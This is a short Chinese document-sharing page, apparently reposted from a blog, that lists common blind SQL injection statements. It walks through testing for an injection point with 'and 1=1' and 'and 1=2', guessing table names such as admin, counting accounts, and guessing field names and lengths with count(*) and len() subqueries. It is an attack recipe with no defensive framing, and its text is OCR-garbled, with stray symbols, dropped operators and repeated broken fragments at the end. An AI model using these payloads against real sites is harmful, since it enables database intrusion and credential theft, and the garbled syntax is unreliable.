常用sql注入语句-文档.docxVIP

常用显注入语句(转自新浪博客) .判断有无注入点 ;and 1=1 and 1=2 .猜表一般的表的名称无非是admin adminuser user pass password等.. and 0 (select count (*) from *) and 0 (select count (*) from admin)判断是否存在 admin 这张表 .猜帐号数目如果遇到0〈返回正确页面1〈返回错误页面说明帐号数目就是1个 and 0 (select count (*) from admin) and 1 (select count (*) from admin) .猜解字段名称 在len()括号里面加上我们想到的字段名称. and『(select count (*) from admin where len(*) 0)- and l=(select count (*) from admin where len(用户字段名称 name) 0) and l=(select count (*) from admin where len(密码字段名称 password)〉0) .猜解各个字段的长度猜解长度就是把0变换 直到返回正确页面为止and and『(select count(*) and『( and『(select count(*) and 1= (select count (*)